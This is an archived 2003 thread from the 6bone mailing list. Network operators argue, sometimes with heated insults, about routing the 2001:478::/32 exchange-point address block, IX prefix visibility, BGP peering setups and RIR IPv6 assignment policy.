Cc: bmanning@ISI.EDU, pekkas@netcore.fi, tvo@enterzone.net, jeroen@unfix.org,
   6bone@ISI.EDU
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% At 01:11 PM 05-09-03 -0700, Bill Manning wrote:
% >%
% >% Renumber.  It's trivial to set up identical BGP sessions with the new
% >% addresses and retire the old when your peer configures the BGP session in
% >% turn.  After all have done that, remove the old prefix.
% >%
% >
% >         I would, but ARIN does not want to.  That being said,
% 
% Can you refer us to the RFC, ARIN policy statement, ARIN discussion thread 
% that states this?  Or is this all verbal policy?
% 
% -Hank

	Private email. 

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From gert@Space.Net Sat Sep  6 16:14:43 2003
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From: Gert Doering <gert@space.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: Jeroen Massar <jeroen@unfix.org>, 6bone@mailman.isi.edu
Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
Message-ID: <20030907011440.Z67740@Space.Net>
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Hi,

On Sat, Sep 06, 2003 at 06:37:27PM -0400, John Fraizer wrote:
> On the other hand, if that
> address space is not globally routed, it breaks PMTU-Disc, traceroute,
> etc.

It does nothing of this, *unless* you're also doing reverse-path filtering
on your external links (which is a dangerous thing in most cases anyway).

It breaks pinging / tracerouting *to* a specific router on its IXP
address, indeed, but not *through* the router, which is by far the
most common usage.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  55575  (56535)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


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From: John Fraizer <tvo@EnterZone.Net>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as
 /48)
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On Sun, 7 Sep 2003, Gert Doering wrote:

> Hi,
> 
> On Sat, Sep 06, 2003 at 06:37:27PM -0400, John Fraizer wrote:
> > On the other hand, if that
> > address space is not globally routed, it breaks PMTU-Disc, traceroute,
> > etc.
> 
> It does nothing of this, *unless* you're also doing reverse-path filtering
> on your external links (which is a dangerous thing in most cases anyway).
> 
> It breaks pinging / tracerouting *to* a specific router on its IXP
> address, indeed, but not *through* the router, which is by far the
> most common usage.
> 
> Gert Doering


Sorry Gert.  You don't router IX space and you wind up with the same
issues as are presented by the boneheads who use RFC1918 address space on
VISABLE links in V4 space.  *EVERY* link in the chain has to be able to
participate for PMTU-D to properly function.


--
John Fraizer
EnterZone, Inc 
(13944+$|13944+_14813+$|13944+_17266+$)
PGP Key = 6C5903C4
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From jeroen@unfix.org Sat Sep  6 16:48:40 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Bill Manning'" <bmanning@ISI.EDU>
Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
Date: Sun, 7 Sep 2003 01:48:39 +0200
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Bill Manning [mailto:bmanning@ISI.EDU] wrote:
> 
> % > 	The -ONLY- statement made by EP.NET was that -IF- anyone was
> % > 	to see an entry for 2001:0478 that was smaller than a /48, e.g.
> % > 	a /35 or /32, that such an annoucement was in error.  
> % 
> % 2001:478::/45   2001:1418:1:400::1   12779 3549 6939 109 4555  IGP 
> % 2001:478::/45   2001:610:25:5062::62 1103 11537 6939 109 4555  IGP 
> % 2001:478::/45 > 2001:470:1fff:3::3   6939 109 4555  IGP 
> % 2001:478::/45   2001:610:ff:c::2     1888 1103 11537 6939 
> 109 4555  IGP 
> % 
> % You are in error here then, I guess?
> 
> 	Yup.  A typo was made (one of the folks following the "default"
> 	of aggregation) and will be removed.

Ack.

> % Btw 'smaller' is a rather odd wording as one could say that
> % a /32 is smaller as a /35 (smaller amount of network bits) or say
> % that a /35 is smaller as a /32 (smaller amount of host bits).
> % I tend to prefer the host kind of smaller.
> 
> 	normal CIDR notation here.
> 
> 	32 < 35 < 45 < 48 < 64

Confusion all around :)

Greets,
 Jeroen

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From jeroen@unfix.org Sat Sep  6 17:10:57 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'John Fraizer'" <tvo@EnterZone.Net>
Cc: <6bone@mailman.isi.edu>
Subject: RE: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
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John Fraizer [mailto:tvo@EnterZone.Net] wrote:

> On Sat, 6 Sep 2003, Jeroen Massar wrote:
> 
> > > OK.  So in an exchange point situation, where you are 
> > > connecting to a L2 fabric and using a common network so you
> > > can make use of a 
> > > route-server and not be required to have N^2 BGP sessions to have 
> > > redundancy, how do you propose this happen?  You just added MORE
> > > complexity to use a route-server rather than taking it away.
> > 
> > The most usual and easiest way is a switch with a prefix (/64).
> 
> And that /64 (or /48 as it may be) is a connected route.  It becomes a
> *seemless* fusion between ASNs.  Nexthops are handed out by the Route
> Server and no further intervention is required on the part of
> participants.  The nexthop is part of the IX address space, which is a
> *connected* route.  No static routes required.  On the other 
> hand, if that address space is not globally routed, it breaks PMTU-Disc,
> traceroute, etc.

You are talking about a route server which I never mentioned.
Maybe an example makes it clear what I mean in JunOS style
from the top of my head, didn't test it as I don't have a
bedside juniper </sarcasm>:

interface lo0 unit 0 family inet6 address 2001:db8:2000::1/64;
interface fe-0/1/0 unit 0 family inet6 address 2001:db8::1/64;
protocols bgp group MyPeer {
	type external;
	family inet6 unicast;
	peer-as 65535l
	neighbour 2001:db8::2;
	next-hop 2001:db8:2000::1;
}

Tada, BGP peering established, if the other side sets it up too.
2001:db8::/64 == IX prefix
2001:db8:2000::/64 is out of the providers space, should be
a seperate TLA but there is only one documentation /32.
All traffic going out of this box will have a source IP of
2001:db8:2000::1 which is globally reachable. Only the
peers will talk to each other using 2001:db8::/64.

This doesn't hurt traceroutes either as they have the ISP's
IP and not the IX's IP, no problems with pathmtu etc...
Another advantage of this is that "abuse" type reports
won't go to the IX, but to the ISP as there is no IX space
to be seen anywhere.

But you did know that ofcourse, I am the kid here :)
Glad to see at least one person not thinking I am not yet
another old fart, thanks for the positive comment.

Maybe that clears up what I mean?
Or maybe you where just to angry to be able to read what
I was talking about? Please cool down a bit, stop the caps,
drink some cold beer and try again.

> > That prefix doesn't need to be seen in any BGP table, only as
> > a static route on the router itself. As you can use a loopback
> > address, from that router's owner own space and which is globally
> > routable as a nexthop and there is also no problem whatsoever
> > with traceroutes etc. This is why we have IX space and why it
> 
> Usingt owner address space requires that static routes be 
> added for every peer.  Which part of "Peering at an exchange
> point is *easier* than multiple bilateral peering sessions"
> did you not understand when the virtues of IX's were explained?

According to you everything, then again you didn't understand
what I meant, thus this comment is quite futile.

> Look.  If you want to do it in a broken, antiquated way, that is just
> fine.  Don't expect us to do so.  If you want to filter the 
> address space used for IX's managed by EP.NET, that is just fine.
> Stop bitching and moaning though.  You quite OBVIOUSLY have much
> less experience in the arena than myself, let alone Bill and simply
> want to bitch and moan and see your own emails echoed by the list.
> Get over yourself.

Wow, another personal attack without content and absolutely not
refering to anything I said but only things you made up.

> > Great example why you don't want to have IX prefixes in BGP and
> > should actually be actively filtering them and complaining to
> > the people redistributing is a case where the switching fabric
> > goes down, you receive the IX prefix over your transit and
> > suddenly all your bgp sessions go over transit, neat ;)
> 
> No.  Actually, that is a great example of YOU not understanding how to
> properly configure your BGP sessions and preferences.  Don't 
> expect us to make changes to accomodate your being void of appropriate clue.

And another one, if I am apparently missing clue, why don't
you as the one who apparently does know what you are talking
about point me to the clue, any good hints of books I need
to read, any URL's?

> > > Bill never *DEMANDED* that anyone accept 2001:478:: prefixes 
> > > at all.
> > 
> > He didn't demand it, but apparently he does request it between
> > the lines. I never saw anybody else mention anything about the
> > prefixes they where announcing in the IPv6 world. Thus what
> > else would be the intention except for mailinglist filling?
> 
> You, Son, are the one who appears to be interested in Mailing list
> filling.  If you don't want to accept the /48 that's *FINE* 
> but, I *BEG OF YOU!!!* GET OVER YOURSELF!  Drop it.  I couldn't
> give a rats ass if you carry the /48 we use at ISI-LAP.
> I'm serious.  Get over yourself and DROP IT!

Oeh I have been promoted to "Son". Sorry that I tend to respond
to many messages and try to figure out why certain actions
are taken which affect many people, who mostly keep silent.

If you don't care, why do you even bother to reply?

You are still missing the point about _why_ I made the initial
comment. Please re-read the messages, but have that cold beer first
you seem to be quite flamy at the moment.

> > > He simply made the same announcement that he has for the 
> previous two
> > > years: Don't expect to see this one as a /32 but rather as 
> > > /48's, IF you see it at all.
> > 
> > Currently GRH sees the following:
> > 
> > 2001:478::/45      2001:1418:1:400::1   12779 3549 6939 109 
> 4555  IGP 
> > 2001:478::/45      2001:610:25:5062::62 1103 11537 6939 109 
> 4555  IGP 
> > 2001:478::/45    > 2001:470:1fff:3::3   6939 109 4555  IGP 
> > 2001:478::/45      2001:610:ff:c::2     1888 1103 11537 
> 6939 109 4555  IGP 
> > 2001:478:65::/48   2001:1418:1:400::1   12779 3549 6939 109 
> 4555  IGP 
> > 2001:478:65::/48   2001:610:25:5062::62 1103 11537 6939 109 
> 4555  IGP 
> > 2001:478:65::/48 > 2001:470:1fff:3::3   6939 109 4555  IGP 
> > 2001:478:65::/48   2001:610:ff:c::2     1888 1103 11537 
> 6939 109 4555  IGP 
> > 
> > Hmmm a /45 is not a /48 last time I did my math test.
> > So there are aggregates? Why don't make it that nice /32 then
> > if you want it to be visible.
> 
> Again, get over yourself.  Filter your ass off.  I don't care.  Just
> frigging DROP IT!

Why? Because you can't stick to your arguments?
Check Bill's message, he did admit that it was a typo.
Is it so hard to accept that one time in your lifetime you are
not right? I have been wrong quite a number of times, but at
least I can admit that if people come with good arguments.
And you have absolutely none of those except loads of flames.

> > If you don't want it to be visible, then why don't you slap on
> > a no-export (okay, which gets dropped by some) or simply don't
> > distribute it to BGP?
> 
> If you don't want to accept it, why don't you filter it?  
> Just recently, someone posted about people not honoring no-export
> yet, you want us to use it?

Hmm is my english that bad? Let's rephrase the story I also
told at RIPE46 during the IPv6 WG:

AS1200 (AMS-IX) is announcing 2001:7f8:1::/48 to it's peers
with the no-export flag set. Thus one would expect that it
will only be visible at their peers, those directly connected
to the IX. But apparently the flag gets overruled by some:

2001:7f8:1::/48   2001:8e0:0:ffff::4     8758 25396 25396 25396 25396 6939 3257 1200  IGP 
2001:7f8:1::/48   2001:470:1fff:3::3     6939 3257 1200  IGP 
2001:7f8:1::/48   2001:780:0:2::6        12337 5539 3257 1200  IGP 
2001:7f8:1::/48   2001:1418:1:400::1     12779 3549 1200  IGP

And suddenly it is visible all across the world (6939 is HE.net)
Which was not the intention of the originator.

It could be that this is a software or a configuration bug.
Either way, I think it is quite important that it gets fixed.
You are probably one of the people best known with most of
the problems seen with Zebra, those problems do exist elsewhere too.
And I like to point out problems and get them straightend out.

> Sheesh.  Make up your mind.

The one who can't make up his mind would be you in this case.
Bill announces that it could be that only /48's and possibly
in the future only /64's are to be seen from the EP.net block.
Thus in http://mailman.isi.edu/pipermail/6bone/2003-September/007890.html
I ask why he doesn't use the RIR IX block's or announce the /32
so that they are globally reachable, which apparently is wanted.
And suddenly I am a kid for asking such a sort of thing and pointing
out that some policies exist for those things?

Bill doesn't have this argument apparently as he doesn't respond
to these messages, he made his note and explained why he did that
You on the other hand are the flamy one and you definitly care.

> > > If you don't like it, filter it.  I could care less, as I'm sure Bill
> > 
> > You could care less, so you actually care, I'll take that is a typo ;)
> > 
> 
> I *COULD ***NOT*** CARE LESS IF MY TRAFFIC MAKES IT IN AND OUT OF YOUR
> PO-DUNK, WANNA-BE, WISH I WAS A REAL PROVIDER* network.  Does 
> that make it clear enough for you?

The capslock was on apparently, it's at the left of your keyboard.
I said I took that as a typo didn't I? I really understand that you
don't like me, for some reason or another.

> > attempts of trying to make it into a flamewar. It just shows
> > that you don't have any argument in your advantage.
> > I don't swear, I hope you can deal with that too.
> 
> There is no argument.  If you don't want to accept the routes, you don't
> have to.  You're wasting our time, and bandwidth with your constant
> whining and rehashing of the same bullshit.  DROP IT, you CHILD!

Your real network has problems with messages of ~8kb?
If you don't want to reply or want to see my messages,
you don't need to, you can filter them very easily, see below.

> > On one hand you say you want it visible, why else does it get
> > announced and on the other hand you don't care, oddness...
> 
> I don't care if YOU can see it.  You see, you, believe it or 
> not, have the power to NOT accept the prefix.  If you don't want
> to, you don't have to accept it.  Deal with it.

Which is exactly what most european operators are doing at the
moment. Which is the reason why I simply asked why the /32
wasn't announced if you apparently do require it 
(yes I am repeating myself, but hey you don't read, so I have to)

> > But I am probably just a whi... bit... and a moa...
> > Personal attacks don't do the content of your message any good.
> 
> And whining and bitching and moaning don't do you any good 
> either.  If you don't want to accept the prefixes, don't accept
> them but for GODS SAKE, stop your frigging whining about it!
> 
> > I never had the intention of making you, apparenty that would
> > require force anyways. My intention was making clear that the prefix
> > you are using is *nothing special*, which apparently you are trying to
> > convince to everybody, but it isn't.
> 
> Nobody tried to convince anyone that the prefix was special.  
> It is being used in a non-conventional way and that was pointed out so 
> that those who DESIRED to accept the prefix would KNOW that it was LEGIT.

Are you saying that you know of any prefix currently being announced
that is not "legit"? Please note them to us here on the list so that
we can take action *now*. Hijacking is a bad thing.

Currently the only really wrong things being seen in the GRT:

3ffe:1300::/24           Mismatching origin ASN, should be 762 (now: 10318)
3ffe:2f00::/24           Mismatching origin ASN, should be 2547 (now: 1955)
3ffe:8070::/28           Mismatching origin ASN, should be 278 (now: 237)

Note that in case of the 3ffe:1300::/24 the single contact that
is in the whois database is not reachable, next to that 10318 isn't
NORTEL but a rather rogue AS which is not contactable either.
3ffe:2f00::/24 probably just didn't update their whois object.
3ffe:8070::/24 is all of a sudden sourced from MERIT, while 278
which should be announcing it is a Mexican University.

Then there are also 6to4 more specifics which simply violate the RFC:
2002:8c6d:106::/48       More specific 6to4 prefix (140.109.1.6/32) 
2002:c0e7:d405::/48      More specific 6to4 prefix (192.231.212.5/32) 
2002:c2b1:d06e::/48      More specific 6to4 prefix (194.177.208.110/32) 
2002:c8a2::/33           More specific 6to4 prefix (200.162.0.0/17) 
2002:c8c6:4000::/34      More specific 6to4 prefix (200.198.64.0/18) 
2002:c8ca:7000::/36      More specific 6to4 prefix (200.202.112.0/20) 

And a *lot* of more specifics in all the other spaces.
Thus 111 prefixes are currently 'superfluos'.

Any other takers?

Before you say "filter them then", for GRH I explictly request
unfiltered prefixes, so we can see where they are coming from.

One can't force anybody, but we can make people aware that sooner or
later the routing tables *are* going to explode or just filled with crap.
Thinking of Iljitsch talk last thursday mentioning what would happen
when 10 million people started announcing their /48 ;)
Then again, that's perfect for companies like C and J and not to
forget all the memory vendors.

> > Now you are, between the lines, requesting that everybody not filter
> > your prefix, tomorrow some other nitwit comes along and simply invents
> > some /32 from which he/she/it is going to do "multihomed prefixes" and
> > requests that everybody allows it accross the world. If you want to
> > change policy, then bring it to the policy department.
> 
> When did ANYONE request that it not be filtered?  Bill simply notified
> that the prefix would appear as /48's.  He didn't say, "Please don't
> filter this."  It was a "For your information" post.  DEAL WITH IT!

If he really meant what you are saying, but these are your words,
then why was that message required? People who apply filters are
already applying filters, it's their network and they will filter.
(yups, another repeat)

I've dealt with it a long time ago and have noted it a couple of
times too as you might have noticed. We simply filter. But apparently
you don't like it when you 'inform' people that you announce and
we inform you that we filter and provide a solution to overcome your
problem of still being reachable, which was the thing I read between
the lines. You mentioned that when it gets filtered that it breaks
a number of things, so what else is there to think?
Trying to be a helping hand is not appreciated apparently.
I'll remember that next time "when I've grown up" in your wordings.

> > I actually also am starting to wonder why this has been brought up
> > on the 6bone mailinglist and not on for example v6ops as it is RIR
> > space we are talking about here. But that is next to the point.
> 
> You just want to complain, don't you?   Which ASNs do you 
> control?  I want to update my "Bitch filters".

"whois JRM1-RIPE", use google on my full name, have fun with it.
You care enough to do that and have enough time for it too.
If you really hate me so much and think I am all that childish
maybe you could just stick me in your email filter list or simply
ignore me. FYI I only use jeroen@unfix.org for mails sent out by
me, not related to a organisation and the procmail rule would be:

:0:
* ^From: Jeroen Massar <jeroen@unfix.org>
/dev/null

Thank you for showing you are a real american :)
Maybe I'll add you to /dev/null, then again it's quite funny
to see someone go ballistic over such a stupid thing that
he can't even argue about :)

Greets,
 Jeroen

PS: No offense to the other americans, but they probably
are not reading this thread any more as it only contains
a lot of flames :(

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From hansolofalcon@worldnet.att.net Sat Sep  6 17:45:06 2003
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: <6bone@ISI.EDU>
Subject: RE: [6bone] non-global address space for IXs (was: 2001:478:: as /48)
Date: Sat, 6 Sep 2003 20:45:53 -0400
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Hello (again) from Gregg C Levine
Would any of you mind doing me a favor, when this discussion reaches a
good resting point? Please reiterate the whole series of things that
led up to this discussion.

Oh, and on the sub-subject of ISPs, I happen to know from an earlier
phone call with their support staff, that even though they provide DSL
service for consumer AT&T customers, they haven't plans at the time to
make available IPv6 services. I'm still working on that issue.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu
[mailto:6bone-admin@mailman.isi.edu] On
> Behalf Of Jeroen Massar
> Sent: Saturday, September 06, 2003 7:49 PM
> To: 'Bill Manning'
> Cc: 6bone@ISI.EDU
> Subject: RE: [6bone] non-global address space for IXs (was:
2001:478:: as /48)
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Bill Manning [mailto:bmanning@ISI.EDU] wrote:
> >
> > % > 	The -ONLY- statement made by EP.NET was that -IF-
anyone was
> > % > 	to see an entry for 2001:0478 that was smaller than a
/48, e.g.
> > % > 	a /35 or /32, that such an annoucement was in error.
> > %
> > % 2001:478::/45   2001:1418:1:400::1   12779 3549 6939 109 4555
IGP
> > % 2001:478::/45   2001:610:25:5062::62 1103 11537 6939 109 4555
IGP
> > % 2001:478::/45 > 2001:470:1fff:3::3   6939 109 4555  IGP
> > % 2001:478::/45   2001:610:ff:c::2     1888 1103 11537 6939
> > 109 4555  IGP
> > %
> > % You are in error here then, I guess?
> >
> > 	Yup.  A typo was made (one of the folks following the
"default"
> > 	of aggregation) and will be removed.
> 
> Ack.
> 
> > % Btw 'smaller' is a rather odd wording as one could say that
> > % a /32 is smaller as a /35 (smaller amount of network bits) or
say
> > % that a /35 is smaller as a /32 (smaller amount of host bits).
> > % I tend to prefer the host kind of smaller.
> >
> > 	normal CIDR notation here.
> >
> > 	32 < 35 < 45 < 48 < 64
> 
> Confusion all around :)
> 
> Greets,
>  Jeroen
> 
> -----BEGIN PGP SIGNATURE-----
> Version: Unfix PGP for Outlook Alpha 13 Int.
> Comment: Jeroen Massar / jeroen@unfix.org /
http://unfix.org/~jeroen/
> 
> iQA/AwUBP1pyVymqKFIzPnwjEQL69QCdEXWEb+qVgWXTq6z5gf3tAXsxu34
> AnRIZ
> rYAQikRkDc6bp9pbwyqWB96p
> =GNPf
> -----END PGP SIGNATURE-----
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From tvo@EnterZone.Net Sat Sep  6 17:56:16 2003
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cc: 6bone@mailman.isi.edu
Subject: RE: [6bone] non-global address space for IXs (was: 2001:478:: as
 /48)
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On Sun, 7 Sep 2003, Jeroen Massar wrote:

> You are talking about a route server which I never mentioned.
> Maybe an example makes it clear what I mean in JunOS style
> from the top of my head, didn't test it as I don't have a
> bedside juniper </sarcasm>:
> 
> interface lo0 unit 0 family inet6 address 2001:db8:2000::1/64;
> interface fe-0/1/0 unit 0 family inet6 address 2001:db8::1/64;
> protocols bgp group MyPeer {
> 	type external;
> 	family inet6 unicast;
> 	peer-as 65535l
> 	neighbour 2001:db8::2;
> 	next-hop 2001:db8:2000::1;
> }
> 
> Tada, BGP peering established, if the other side sets it up too.

Tell me... How does that happen?  How does the peering session come up
when the route to 2001:db8::2 is "connected via lo0" and even if it COULD
come up, how does 2001:db8::2 know how to get back to your "nexthop" of
2001:db8:2000::1?  Static routes on both sides?  Ahhh...  Every
participated at an exchange point with 100 peers?  Guess what?  This is
why route-servers were created to begin with.  Who wants to join an
exchange point and then have to add 100+ static routes to their peering
router to make things work?



> 2001:db8::/64 == IX prefix
> 2001:db8:2000::/64 is out of the providers space, should be
> a seperate TLA but there is only one documentation /32.
> All traffic going out of this box will have a source IP of
> 2001:db8:2000::1 which is globally reachable. Only the
> peers will talk to each other using 2001:db8::/64.
> 

How is it that the peers are going to talk to each other on 2001:db8::/64
when you've got the 2001:db8::/64 bound up on lo0 interfaces and the
routers know that to get to any address in 2001:db8::/64 they go via lo0?

Again, please understand the technology.  Using your example, there is
absolutely no reason for the EP to even have its own address space.  Then
again, using your example, there wouldn't be very many peers at the EP,
especially when it becomes more of a pain to maintain peering every time a
new member joins the EP.

As for why 2001:478:: isn't announced as a /32 to bypass filters, it is
because there isn't any one common network at every site using
2001:478:: address space for exchange point addressing.

Playing on the 6bone and running a real network are two different
things.  For the matter, attending policy meetings and running a network
are two different things.  Don't confuse one with the other.

As for a URL or book you can read to learn, check out IP routing for
dummies.  This is very basic stuff.

> Thank you for showing you are a real american :)

American is a proper noun and I'll thank you to use the appropriate
capitolization.  *A*merican.


--
John Fraizer
EnterZone, Inc 
(13944+$|13944+_14813+$|13944+_17266+$)
PGP Key = 6C5903C4
Fingerprint = 2AA6 6614 1B5E EDD2 38AD C417 3E61 F975 6C59 03C4





From tvo@EnterZone.Net Sat Sep  6 18:22:18 2003
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cc: 6bone@ISI.EDU
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On Sat, 6 Sep 2003, Gregg C Levine wrote:

> Hello (again) from Gregg C Levine
> Would any of you mind doing me a favor, when this discussion reaches a
> good resting point? Please reiterate the whole series of things that
> led up to this discussion.
> 
> Oh, and on the sub-subject of ISPs, I happen to know from an earlier
> phone call with their support staff, that even though they provide DSL
> service for consumer AT&T customers, they haven't plans at the time to
> make available IPv6 services. I'm still working on that issue.
> -------------------
> Gregg C Levine hansolofalcon@worldnet.att.net


Bill Manning made a general announcement (like he has for the two previous
years) that folks *may* see chunks of 2001:478::/32 announced as /48's or
possibly /64's since it is divided into /48's and /64's for use at IX's
that go to EP.NET for address space management.  From there, the v6 police
decided that since folks can (now) get address space from the RIRs, that
every EP that gets address space from EP.NET should now renumber or that
someone should announce 2001:478::/32.  Nevermind that no ONE entity
currently has connectivity to every part of 2001:478::/32 or that this
address space has been in use at EPs since BEFORE the RIRs had made
address space available for use at IX's. (I don't care if they had policy
for it - they weren't handing out address space for this purpose yet.)

From there, Jeroen demonstrated that he didn't understand how exchange
points REALLY work and the reason for having all participants in the
exchange point share not only the same L2 fabric but also the same L3 LIS
so that routes learned from the route-servers have next-hops that are
"connected" routes and do not require any further configuration on the
part of exchange point participants other than bringing up peering
session(s) with the route-server(s).

From there, Jeroen decided to make anti-American remarks, blah blah blah
in reference to my lack of patience with people who want to bitch and moan
without being in possession of even a fraction of the clue required to
understand the technology involved and an obvious lack of experience
operating in the environment that address space carved out of
2001:478::/32 is implemented in.

It boils down to this: People took offense (for whatever reason) that a
single /32 (2001:478::/32) that was not part of address space carved out
by the RIRs for use at IX's was being used for addressing IX's.  Nevermind
the LONG history (pre IPv6) of EP.NET providing address space and
management of that address space for exchange points, nevermind the fact
that nobody is FORCING them to accept those /48's, nevermind
anything.  They simply wanted to get bent out of shape because someone
besides the RIRs was making address space (from a SINGLE /32) available
for use by folks who operate v6 exchange points.

Typical 6bone pissing and moaning if you ask me.

--
John Fraizer
EnterZone, Inc 
(13944+$|13944+_14813+$|13944+_17266+$)
PGP Key = 6C5903C4
Fingerprint = 2AA6 6614 1B5E EDD2 38AD C417 3E61 F975 6C59 03C4


From michel@arneill-py.sacramento.ca.us Sat Sep  6 20:35:33 2003
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Subject: [6bone] Eastcoast tunnelbrokers..
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> Haesu wrote:
> We used to do /120 at first when we were just building up
> ipv6 network. Now that we have enough users, automatic /64
> assignment is current policy.

This does not register with RIR policies. The current unified RIR policy
(see 5.4.1 in http://www.arin.net/policy/ipv6_policy.html) recommends
assigning /48 to users in the general case, as recommended by RFC3177
http://www.arin.net/library/rfc/rfc3177.txt

This policy is common to ARIN, RIPE and APNIC.

Michel.


From michel@arneill-py.sacramento.ca.us Sat Sep  6 20:38:39 2003
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> Jeroen Massar wrote:
> PS: No offense to the other americans

None taken.
 
Michel.


From michel@arneill-py.sacramento.ca.us Sat Sep  6 20:40:20 2003
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> Jeroen Massar wrote:
> PS: No offense to the other americans

None taken.
 
Michel.


From michel@arneill-py.sacramento.ca.us Sat Sep  6 21:10:37 2003
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Subject: [6bone] 2001:478::  as /48
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Jeroen,

Would you stop feeding the troll please? I understand that we have not
seen Jim F. for a while and that you might have excess troll food but
the season's not open yet.

Thanks
Michel.


From haesu@mx01.bos.ma.towardex.com Sat Sep  6 21:27:42 2003
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To: Michel Py <michel@arneill-py.sacramento.ca.us>, 6bone@ISI.EDU
Subject: Re: [6bone] Eastcoast tunnelbrokers..
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And yes, let us count how many tunnelbrokers are out there today that gives out only a /64 to endusers.

And considering we are getting connections from TB's until we work out in getting our own TLA space, how the heck does anyone expect us to abide to "MINIMUM /48" policy when our current TBs only offer a few /48's?? 

I am fully aware our current /64 assignment "violates" the extremity; but we are working to come to compliance to the RIR policies. And I bleieve the RIR policies apply directly down the chain to LIRs. Well, we are not a LIR yet.

Let's not go over the obvious...

-hc

-- 
Sincerely,
  Haesu C.
  TowardEX Technologies, Inc.
  WWW: http://www.towardex.com
  E-mail: haesu@towardex.com
  Cell: (978) 394-2867

On Sat, Sep 06, 2003 at 08:35:27PM -0700, Michel Py wrote:
> > Haesu wrote:
> > We used to do /120 at first when we were just building up
> > ipv6 network. Now that we have enough users, automatic /64
> > assignment is current policy.
> 
> This does not register with RIR policies. The current unified RIR policy
> (see 5.4.1 in http://www.arin.net/policy/ipv6_policy.html) recommends
> assigning /48 to users in the general case, as recommended by RFC3177
> http://www.arin.net/library/rfc/rfc3177.txt
> 
> This policy is common to ARIN, RIPE and APNIC.
> 
> Michel.
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From michel@arneill-py.sacramento.ca.us Sat Sep  6 21:32:39 2003
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Subject: RE: [6bone] Eastcoast tunnelbrokers..
Date: Sat, 6 Sep 2003 21:32:33 -0700
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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> Haesu wrote:
> Well, we are not a LIR yet.

If you don't mind my asking, why not? If you already are ARIN an member
the IPv6 space is free when you already have IPv4 space (last time I
checked); it is not too late to become a 6bone pTLA either.

Michel.


From hansolofalcon@worldnet.att.net Sat Sep  6 21:44:21 2003
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone Mail List" <6bone@mailman.isi.edu>
Subject: RE: [6bone] non-global address space for IXs (was: 2001:478:: as /48) 
Date: Sun, 7 Sep 2003 00:45:22 -0400
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Also none taken.
(No need for my usual greetings.)
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu
[mailto:6bone-admin@mailman.isi.edu] On
> Behalf Of Michel Py
> Sent: Saturday, September 06, 2003 11:40 PM
> To: 6bone@mailman.isi.edu; Jeroen Massar
> Subject: [6bone] non-global address space for IXs (was: 2001:478::
as /48)
> 
> > Jeroen Massar wrote:
> > PS: No offense to the other americans
> 
> None taken.
> 
> Michel.
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From pekkas@netcore.fi Sat Sep  6 22:08:23 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: John Fraizer <tvo@EnterZone.Net>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] non-global address space for IXs (was: 2001:478:: as
 /48)
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On Sat, 6 Sep 2003, John Fraizer wrote:
> On Sun, 7 Sep 2003, Gert Doering wrote:
> 
> > Hi,
> > 
> > On Sat, Sep 06, 2003 at 06:37:27PM -0400, John Fraizer wrote:
> > > On the other hand, if that
> > > address space is not globally routed, it breaks PMTU-Disc, traceroute,
> > > etc.
> > 
> > It does nothing of this, *unless* you're also doing reverse-path filtering
> > on your external links (which is a dangerous thing in most cases anyway).
> > 
> > It breaks pinging / tracerouting *to* a specific router on its IXP
> > address, indeed, but not *through* the router, which is by far the
> > most common usage.
> 
> 
> Sorry Gert.  You don't router IX space and you wind up with the same
> issues as are presented by the boneheads who use RFC1918 address space on
> VISABLE links in V4 space.  *EVERY* link in the chain has to be able to
> participate for PMTU-D to properly function.

Every link where PMTU changes, you mean.  Every link which doesn't use 
e.g. loopback addresses to send out these ICMP messages, you mean.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From haesu@mx01.bos.ma.towardex.com Sat Sep  6 22:33:57 2003
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From: Haesu <haesu@towardex.com>
To: Michel Py <michel@arneill-py.sacramento.ca.us>, 6bone@ISI.EDU
Subject: Re: [6bone] Eastcoast tunnelbrokers..
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We are not an ARIN member unfortunately... We get our v4 space from our upstreams.

But, soon we will need to request a direct allocation from ARIN, and when that
happens, acquiring ipv6 space loan is also high priority.

Sorry for pissy mood in my previous reply btw. Some people have replied to me off-list with offers to get bgp feed, and I surely do appreciate them. If there are anyone else who also would like to offer it too, I'll still take it :)

As for Viagenie... We wrote them email a while back requesting that, but it
went unanswered. But, perhaps they were very busy at the time. I'll try again :)

Thanks ,
-hc

-- 
Sincerely,
  Haesu C.
  TowardEX Technologies, Inc.
